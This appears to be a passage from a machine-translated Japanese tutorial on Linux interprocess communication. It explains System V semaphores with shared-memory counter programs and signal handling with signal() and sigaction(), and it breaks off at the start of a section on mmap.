バイナリセマフォ-0と1の2つの状態のみ、つまりロック/ロック解除または使用可能/使用不可のミューテックス実装。

カウントセマフォ-任意のリソースカウントを許可するセマフォは、カウントセマフォと呼ばれます。

5つのプリンターがあり(1つのプリンターが1つのジョブしか受け入れないと仮定するため)、3つのジョブを印刷すると仮定します。 これで、3台のプリンター(各1台)に対して3つのジョブが与えられます。 これが進行中に再び4つのジョブが来ました。 現在、使用可能な2つのプリンターのうち、2つのジョブがスケジュールされており、リソース/プリンターのいずれかが使用可能になった後にのみ完了する2つのジョブが残っています。 リソースの可用性に応じたこの種のスケジューリングは、カウントセマフォと見なすことができます。

セマフォを使用して同期を実行するには、次の手順があります-

  • ステップ1 *-セマフォを作成するか、既存のセマフォに接続します(semget())
  • ステップ2 *-セマフォで操作を実行します。つまり、リソースを割り当て、解放、または待機します(semop())
  • ステップ3 *-メッセージキューで制御操作を実行する(semctl())

それでは、システムコールでこれを確認しましょう。

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semget(key_t key, int nsems, int semflg)

このシステムコールは、System Vセマフォセットを作成または割り当てます。 次の引数を渡す必要があります-

  • 最初の引数keyは、メッセージキューを認識します。 キーは、任意の値でも、ライブラリ関数ftok()から派生した値でもかまいません。
  • 2番目の引数nsemsは、セマフォの数を指定します。 バイナリの場合、それは1であり、セマフォセットの数の必要なカウントに従って、1セマフォセットの必要性を意味します。
  • 3番目の引数semflgは、IPC_CREAT(存在しない場合はセマフォを作成する)またはIPC_EXCL(IPC_CREATで使用してセマフォを作成し、セマフォが既に存在する場合は呼び出しが失敗する)などの必要なセマフォフラグを指定します。 許可も渡す必要があります。

-権限の詳細については、前のセクションを参照してください。

この呼び出しは、成功した場合は有効なセマフォ識別子(セマフォの以降の呼び出しに使用)を返し、失敗した場合は-1を返します。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

この呼び出しに関するさまざまなエラーは、EACCESS(許可が拒否されました)、EEXIST(キューが既に存在することはできません)、ENOENT(キューが存在しない)、ENOMEM(キューを作成するのに十分なメモリがありません)、ENOSPC(最大セット制限)です超過)など

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semop(int semid, struct sembuf *semops, size_t nsemops)

このシステムコールは、System Vセマフォセットの操作、つまりリソー​​スの割り当て、リソースの待機、またはリソースの解放を実行します。 次の引数を渡す必要があります-

  • 最初の引数semidは、semget()によって作成されたセマフォセット識別子を示します。
  • 2番目の引数semopsは、セマフォセットで実行される操作の配列へのポインタです。 構造は次のとおりです-
struct sembuf {
   unsigned short sem_num;/*Semaphore set num*/
   short sem_op;/*Semaphore operation*/
   short sem_flg;/*Operation flags, IPC_NOWAIT, SEM_UNDO*/
};

上記の構造の要素、sem_opは、実行する必要がある操作を示します-

  • sem_opが-veの場合、リソースを割り当てるか取得します。 他のプロセスによって十分なリソースが解放されるまで呼び出しプロセスをブロックし、このプロセスが割り当てられるようにします。
  • sem_opがゼロの場合、呼び出しプロセスはセマフォ値が0になるまで待機またはスリープします。
  • sem_opが+ veの場合、リソースを解放します。

たとえば-

struct sembuf sem_lock = \ {0、-1、SEM_UNDO};

struct sembuf sem_unlock = \ {0、1、SEM_UNDO};

  • 3番目の引数nsemopsは、その配列内の操作の数です。
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semctl(int semid, int semnum, int cmd, …)

このシステムコールは、System Vセマフォの制御操作を実行します。 次の引数を渡す必要があります-

  • 最初の引数semidは、セマフォの識別子です。 このIDはセマフォ識別子であり、semget()システムコールの戻り値です。
  • 2番目の引数semnumは、セマフォの数です。 セマフォには0から番号が付けられます。
  • 3番目の引数cmdは、セマフォで必要な制御操作を実行するコマンドです。
  • タイプの4番目の引数union semunは、cmdに依存します。 ほとんどの場合、4番目の引数は適用できません。

組合のセムンを確認しましょう-

union semun {
   int val;/*val for SETVAL*/
   struct semid_ds *buf;/*Buffer for IPC_STAT and IPC_SET*/
   unsigned short *array;/*Buffer for GETALL and SETALL*/
   struct seminfo *__buf;/* Buffer for IPC_INFO and SEM_INFO*/
};

sys/sem.hで定義されているsemid_dsデータ構造は次のとおりです-

struct semid_ds {
   struct ipc_perm sem_perm;/*Permissions*/
   time_t sem_otime;/*Last semop time*/
   time_t sem_ctime;/*Last change time*/
   unsigned long sem_nsems;/*Number of semaphores in the set*/
};

-その他のデータ構造については、マニュアルページを参照してください。

union semun arg; cmdの有効な値は-

  • IPC_STAT -struct semid_dsの各メンバーの現在の値の情報を、arg.bufが指す渡された構造にコピーします。 このコマンドには、セマフォに対する読み取り権限が必要です。
  • IPC_SET -ユーザーID、所有者のグループID、権限などを設定します。 構造体semid_dsが指す。
  • IPC_RMID -セマフォセットを削除します。
  • IPC_INFO -arg .__ bufが指す構造体semid_dsのセマフォの制限とパラメータに関する情報を返します。
  • SEM_INFO -セマフォによって消費されたシステムリソースに関する情報を含むseminfo構造体を返します。

この呼び出しは、渡されたコマンドに応じて値(負でない値)を返します。 成功すると、IPC_INFOおよびSEM_INFOまたはSEM_STATは、セマフォごとに最も使用されているエントリのインデックスまたは識別子、GETNCNTのsemncntの値、またはGETPIDのsempidの値、または成功時の他の操作のGETVAL 0のsemvalの値を返します-失敗の場合は1。 失敗の原因を知るには、errno変数またはperror()関数で確認してください。

コードを見る前に、その実装を理解しましょう-

  • 子と親という2つのプロセスを作成します。
  • 主にカウンタやその他のフラグを保存して共有メモリへの読み取り/書き込みプロセスの終了を示すために必要な共有メモリを作成します。
  • カウンターは、親プロセスと子プロセスの両方によってカウントごとに増分されます。 カウントは、コマンドライン引数として渡されるか、デフォルトとして使用されます(コマンドライン引数として渡されない場合、または値が10000未満の場合)。 特定のスリープ時間で呼び出され、親と子の両方が同時に、つまり並行して共有メモリにアクセスするようにします。
  • カウンターは親と子の両方によって1ずつ増加するため、最終値はカウンターの2倍になります。 親プロセスと子プロセスの両方が同時に操作を実行するため、カウンターは必要に応じて増加しません。 したがって、1つのプロセスが完了してから他のプロセスが完了することを保証する必要があります。
  • 上記のすべての実装は、ファイルshm_write_cntr.cで実行されます。
  • カウンター値がファイルshm_read_cntr.cに実装されているかどうかを確認します
  • 完了を保証するために、セマフォプログラムはshm_write_cntr_with_sem.cファイルに実装されています。 プロセス全体の完了後にセマフォを削除します(他のプログラムから読み取りが行われた後)
  • 共有メモリ内のカウンターの値を読み取るための個別のファイルがあり、書き込みによる影響がないため、読み取りプログラムは同じままです(shm_read_cntr.c)
  • 1つの端末で書き込みプログラムを実行し、別の端末からプログラムを読み取ることは常に優れています。 プログラムは、書き込みおよび読み取りプロセスが完了した後にのみ実行を完了するため、書き込みプログラムを完全に実行した後にプログラムを実行してもかまいません。 書き込みプログラムは、読み取りプログラムが実行されるまで待機し、完了後にのみ終了します。

セマフォのないプログラム。

/*Filename: shm_write_cntr.c*/
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);

   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }

  //Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();

  /*Parent Process - Writing Once*/
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

/*Increment the counter of shared memory by total_count in steps of 1*/
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
  //printf("SHM_CNTR is %d\n", shmp->cntr);

  /*Increment the counter in shared memory by total_count in steps of 1*/
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;

     /*Sleeping for a second for every thousand*/
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }

   shmp->write_complete = 1;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Writing Done\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Writing Done\n");
   return;
}

コンパイルおよび実行手順

Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

次に、共有メモリ読み取りプログラムを確認しましょう。

/*Filename: shm_read_cntr.c*/
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};

int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   int total_count;
   int cntr;
   int sleep_time;
   if (argc != 2)
   total_count = 10000;

   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);

   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
  //Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);

   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }

  /*Read the shared memory cntr and print it on standard output*/
   while (shmp->write_complete != 1) {
      if (shmp->cntr == -1) {
         perror("read");
         return 1;
      }
      sleep(3);
   }
   printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   shmp->read_complete = 1;

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

コンパイルおよび実行手順

Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

上記の出力を確認する場合、カウンターは20000である必要があります。ただし、1つのプロセスタスクの完了前に、他のプロセスも並行して処理しているため、カウンター値は期待どおりではありません。 出力はシステムごとに異なり、実行ごとに異なります。 1つのタスクの完了後に2つのプロセスがタスクを確実に実行するには、同期メカニズムを使用して実装する必要があります。

次に、セマフォを使用して同じアプリケーションをチェックします。

注意-プログラムの読み取りは同じままです。

/*Filename: shm_write_cntr_with_sem.c*/
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20

struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);

   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
  //Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);

   if (shmp == (void *) -1) {
      perror("Shared memory attach: ");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();

  /*Parent Process - Writing Once*/
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   remove_semaphore();
   return 0;
}

/*Increment the counter of shared memory by total_count in steps of 1*/
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   int semid;
   struct sembuf sem_buf;
   struct semid_ds buf;
   int tries;
   int retval;
   semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
  //printf("errno is %d and semid is %d\n", errno, semid);

  /*Got the semaphore*/
   if (semid >= 0) {
      printf("First Process\n");
      sem_buf.sem_op = 1;
      sem_buf.sem_flg = 0;
      sem_buf.sem_num = 0;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Operation: ");
         return;
      }
   } else if (errno == EEXIST) {//Already other process got it
      int ready = 0;
      printf("Second Process\n");
      semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Semaphore GET: ");
         return;
      }

     /*Waiting for the resource*/
      sem_buf.sem_num = 0;
      sem_buf.sem_op = 0;
      sem_buf.sem_flg = SEM_UNDO;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Locked: ");
         return;
      }
   }
   sem_buf.sem_num = 0;
   sem_buf.sem_op = -1;/*Allocating the resources*/
   sem_buf.sem_flg = SEM_UNDO;
   retval = semop(semid, &sem_buf, 1);

   if (retval == -1) {
      perror("Semaphore Locked: ");
      return;
   }
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
  //printf("SHM_CNTR is %d\n", shmp->cntr);

  /*Increment the counter in shared memory by total_count in steps of 1*/
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
     /*Sleeping for a second for every thousand*/
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   shmp->write_complete = 1;
   sem_buf.sem_op = 1;/*Releasing the resource*/
   retval = semop(semid, &sem_buf, 1);

   if (retval == -1) {
      perror("Semaphore Locked\n");
      return;
   }

   if (pid == 0)
      printf("SHM_WRITE: CHILD: Writing Done\n");
      else if (pid > 0)
      printf("SHM_WRITE: PARENT: Writing Done\n");
      return;
}

void remove_semaphore() {
   int semid;
   int retval;
   semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Remove Semaphore: Semaphore GET: ");
         return;
      }
   retval = semctl(semid, 0, IPC_RMID);
   if (retval == -1) {
      perror("Remove Semaphore: Semaphore CTL: ");
      return;
   }
   return;
}

コンパイルおよび実行手順

Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

次に、読み取りプロセスでカウンター値を確認します。

実行手順

Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

プロセス間通信-シグナル

*signal* は、イベントの発生を示すプロセスへの通知です。 信号は「ソフトウェア割り込み」とも呼ばれ、その発生を予測することは予測できないため、「非同期イベント」とも呼ばれます。

シグナルは番号または名前で指定できます。通常、シグナル名はSIGで始まります。 使用可能な信号は、コマンドkill –l(信号名をリストするためのl)で確認できます。これは次のとおりです-

シグナル

シグナルが発生するたび(プログラムまたはシステムで生成されたシグナル)、デフォルトのアクションが実行されます。 デフォルトのアクションを実行したくないが、信号の受信時に独自のアクションを実行したい場合はどうなりますか? これはすべての信号で可能ですか? はい、信号を処理することはできますが、すべての信号を処理することはできません。 信号を無視したい場合、これは可能ですか? はい、信号を無視することは可能です。 シグナルを無視することは、デフォルトのアクションの実行もシグナルの処理も行わないことを意味します。 ほとんどすべての信号を無視または処理できます。 無視または処理/捕捉できないシグナルは、SIGSTOPおよびSIGKILLです。

要約すると、信号に対して実行されるアクションは次のとおりです-

  • デフォルトのアクション
  • 信号を処理する
  • 信号を無視する

説明したように、シグナルはデフォルトアクションの実行を変更して処理できます。 シグナル処理は、システムコール、signal()およびsigaction()の2つの方法のいずれかで実行できます。

#include <signal.h>

typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);

システムコールsignal()は、signumで述べられているように、シグナルの生成時に登録済みハンドラーを呼び出します。 ハンドラーは、SIG_IGN(シグナルの無視)、SIG_DFL(シグナルをデフォルトのメカニズムに戻す)、またはユーザー定義のシグナルハンドラーまたは関数アドレスのいずれかです。

このシステムコールは、成功時に整数引数を取り、戻り値を持たない関数のアドレスを返します。 この呼び出しは、エラーの場合にSIG_ERRを返します。

signal()を使用すると、ユーザーが登録した各シグナルハンドラーを呼び出すことができますが、ブロックする必要のあるシグナルのマスキング、シグナルの動作の変更、その他の機能などの微調整はできません。 これは、sigaction()システムコールを使用して可能です。

#include <signal.h>

int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)

このシステムコールは、シグナルアクションを検査または変更するために使用されます。 行為がnullでない場合、信号signumの新しい行為が行為からインストールされます。 oldactがnullでない場合、以前のアクションはoldactに保存されます。

sigaction構造には次のフィールドが含まれています-

  • フィールド1 *-sa_handlerまたはsa_sigactionで言及されたハンドラー。
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);

sa_handlerのハンドラーは、signumに基づいて実行されるアクションを指定し、SIG_DFLはデフォルトのアクションを示し、SIG_IGNはシグナルまたはシグナル処理関数へのポインターを無視します。

sa_sigactionのハンドラーは、最初の引数としてシグナル番号、2番目の引数としてsiginfo_t構造体へのポインター、3番目の引数としてユーザーコンテキストへのポインター(詳細についてはgetcontext()またはsetcontext()を確認)を指定します。

構造体siginfo_tには、配信されるシグナル番号、シグナル値、プロセスID、送信プロセスの実際のユーザーIDなどのシグナル情報が含まれます。

  • フィールド2 *-ブロックする信号のセット。
int sa_mask;

この変数は、シグナルハンドラーの実行中にブロックされるべきシグナルのマスクを指定します。

  • フィールド3 *-特別なフラグ。
int sa_flags;

このフィールドは、信号の動作を変更するフラグのセットを指定します。

  • フィールド4 *-ハンドラーを復元します。
void (*sa_restorer) (void);

このシステムコールは、成功すると0を返し、失敗すると-1を返します。

いくつかのサンプルプログラムを考えてみましょう。

まず、例外を生成するサンプルプログラムから始めましょう。 このプログラムでは、システムが例外を生成するゼロ除算を実行しようとしています。

/*signal_fpe.c*/
#include<stdio.h>

int main() {
   int result;
   int v1, v2;
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

コンパイルおよび実行手順

Floating point exception (core dumped)

したがって、算術演算を実行しようとすると、システムはコアダンプを伴う浮動小数点例外を生成します。これは、信号のデフォルトアクションです。

次に、signal()システムコールを使用してこの特定の信号を処理するようにコードを変更しましょう。

/*signal_fpe_handler.c*/
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_dividebyzero(int signum);

int main() {
   int result;
   int v1, v2;
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

void handler_dividebyzero(int signum) {
   if (signum == SIGFPE) {
      printf("Received SIGFPE, Divide by Zero Exception\n");
      exit (0);
   }
   else
      printf("Received %d Signal\n", signum);
      return;
}

コンパイルおよび実行手順

Received SIGFPE, Divide by Zero Exception

説明したように、信号はシステムによって生成され(ゼロ除算などの特定の操作を実行すると)、ユーザーはプログラムで信号を生成することもできます。 プログラムで信号を生成する場合は、ライブラリ関数raise()を使用します。

次に、信号の処理と無視を示す別のプログラムを取り上げます。

raise()を使用してシグナルを発生させたと仮定すると、その後はどうなりますか? シグナルを上げた後、現在のプロセスの実行が停止します。 次に、停止したプロセスはどうなりますか? 2つのシナリオがあります。まず、必要なときに実行を継続します。 次に、プロセスを(killコマンドで)終了します。

停止したプロセスの実行を継続するには、SIGCONTをその特定のプロセスに送信します。 fg(フォアグラウンド)またはbg(バックグラウンド)コマンドを発行して、実行を継続することもできます。 ここでは、コマンドは最後のプロセスの実行のみを再開します。 複数のプロセスが停止した場合、最後のプロセスのみが再開されます。 以前に停止したプロセスを再開する場合は、ジョブ番号とともにジョブを(fg/bgを使用して)再開します。

次のプログラムは、raise()関数を使用してシグナルSIGSTOPを発生させるために使用されます。 シグナルSIGSTOPは、CTRL + Z(Control + Z)キーを押すことでも生成できます。 このシグナルを発行した後、プログラムは実行を停止します。 シグナル(SIGCONT)を送信して、実行を継続します。

次の例では、コマンドfgで停止したプロセスを再開しています。

/*signal_raising.c*/
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

int main() {
   printf("Testing SIGSTOP\n");
   raise(SIGSTOP);
   return 0;
}

コンパイルおよび実行手順

Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out

ここで、別の端末からSIGCONTを発行して、停止したプロセスの実行を継続するように前のプログラムを強化します。

/*signal_stop_continue.c*/
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>

void handler_sigtstp(int signum);

int main() {
   pid_t pid;
   printf("Testing SIGSTOP\n");
   pid = getpid();
   printf("Open Another Terminal and issue following command\n");
   printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
   raise(SIGSTOP);
   printf("Received signal SIGCONT\n");
   return 0;
}

コンパイルおよび実行手順

Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out

Received signal SIGCONT
[1]+ Done ./a.out

別のターミナルで

kill -SIGCONT 30379

これまで、システムによって生成された信号を処理するプログラムを見てきました。 次に、プログラムで生成されたシグナルを見てみましょう(raise()関数またはkillコマンドを使用)。 このプログラムは、シグナルSIGTSTP(端末停止)を生成します。デフォルトのアクションは、実行を停止することです。 ただし、現在はデフォルトのアクションではなくシグナルを処理しているため、定義されたハンドラーに到達します。 この場合、メッセージを出力して終了するだけです。

/*signal_raising_handling.c*/
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   return 0;
}

void handler_sigtstp(int signum) {
   if (signum == SIGTSTP) {
      printf("Received SIGTSTP\n");
      exit(0);
   }
   else
      printf("Received %d Signal\n", signum);
      return;
}

コンパイルおよび実行手順

Testing SIGTSTP
Received SIGTSTP

デフォルトのアクションを実行したり、シグナルを処理したりするインスタンスを見てきました。 今、信号を無視する時です。 ここで、このサンプルプログラムでは、SIG_IGNを介して無視するシグナルSIGTSTPを登録し、シグナルSIGTSTP(ターミナルストップ)を上げています。 無視されるシグナルSIGTSTPが生成されているとき。

/*signal_raising_ignoring.c*/
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   printf("Signal SIGTSTP is ignored\n");
   return 0;
}

コンパイルおよび実行手順

Testing SIGTSTP
Signal SIGTSTP is ignored

これまでのところ、1つのシグナルを処理するシグナルハンドラーが1つあることを確認しました。 単一のハンドラーで複数の信号を処理できますか? 答えはイエスです。 これをプログラムで考えてみましょう。

次のプログラムは次のことを行います-

  • ステップ1 *-シグナルSIGINT(CTRL + C)またはSIGQUIT(CTRL + \)をキャッチまたは処理するハンドラー(handleSignals)を登録します。
  • ステップ2 *-ユーザーがシグナルSIGQUITを生成する場合(killコマンドまたはCTRL + \を使用したキーボード制御のいずれかを介して)、ハンドラーは単に戻り値としてメッセージを出力します。
  • ステップ3 *-ユーザーがシグナルSIGINT(killコマンドまたはCTRL + Cを使用したキーボード制御)を初めて生成する場合、次回からデフォルトアクション(SIG_DFLを使用)を実行するようにシグナルを変更します。
  • ステップ4 *-ユーザーが2回目にシグナルSIGINTを生成すると、デフォルトのアクション(プログラムの終了)が実行されます。
/*Filename: sigHandler.c*/
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerInterrupt)(int);
   void (*sigHandlerQuit)(int);
   void (*sigHandlerReturn)(int);
   sigHandlerInterrupt = sigHandlerQuit = handleSignals;
   sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);

   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (1) {
      printf("\nTo terminate this program, perform the following: \n");
      printf("1. Open another terminal\n");
      printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou pressed CTRL+C \n");
      printf("Now reverting SIGINT signal to default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou pressed CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

コンパイルおよび実行手順

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
          
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated

別のターミナル

kill 71

第二の方法

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C

シグナルを処理するには、signal()またはsigaction()の2つのシステムコールがあることを知っています。 これまでsignal()システムコールで見てきましたが、今はsigaction()システムコールの時間です。 次のようにsigaction()を使用して実行するように上記のプログラムを変更しましょう-

/*Filename: sigHandlerSigAction.c*/
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerReturn)(int);
   struct sigaction mysigaction;
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGINT, &mysigaction, NULL);

   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGQUIT, &mysigaction, NULL);

   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (-1) {
      printf("\nTo terminate this program, perform either of the following: \n");
      printf("1. Open another terminal and issue command: kill %d\n", getpid());
      printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou have entered CTRL+C \n");
      printf("Now reverting SIGINT signal to perform default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou have entered CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

コンパイルと実行のプロセスを見てみましょう。 実行プロセスで、CTRL + Cを2回発行し、残りのチェック/方法(上記)を確認して、このプログラムでも試してみます。

コンパイルおよび実行手順

To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C

メモリマッピング

mmap()システムコールは、ファイルまたはデバイスをメモリにマップする呼び出しプロセスの仮想アドレス空間でのマッピングを提供します。 これは2種類あります-

ファイルマッピングまたはファイルバックアップマッピング-このマッピングは、プロセスの仮想メモリの領域をファイルにマッピングします。 これは、メモリのこれらの領域に対して読み取りまたは書き込みを行うと、ファイルが読み取りまたは書き込みされることを意味します。 これがデフォルトのマッピングタイプです。

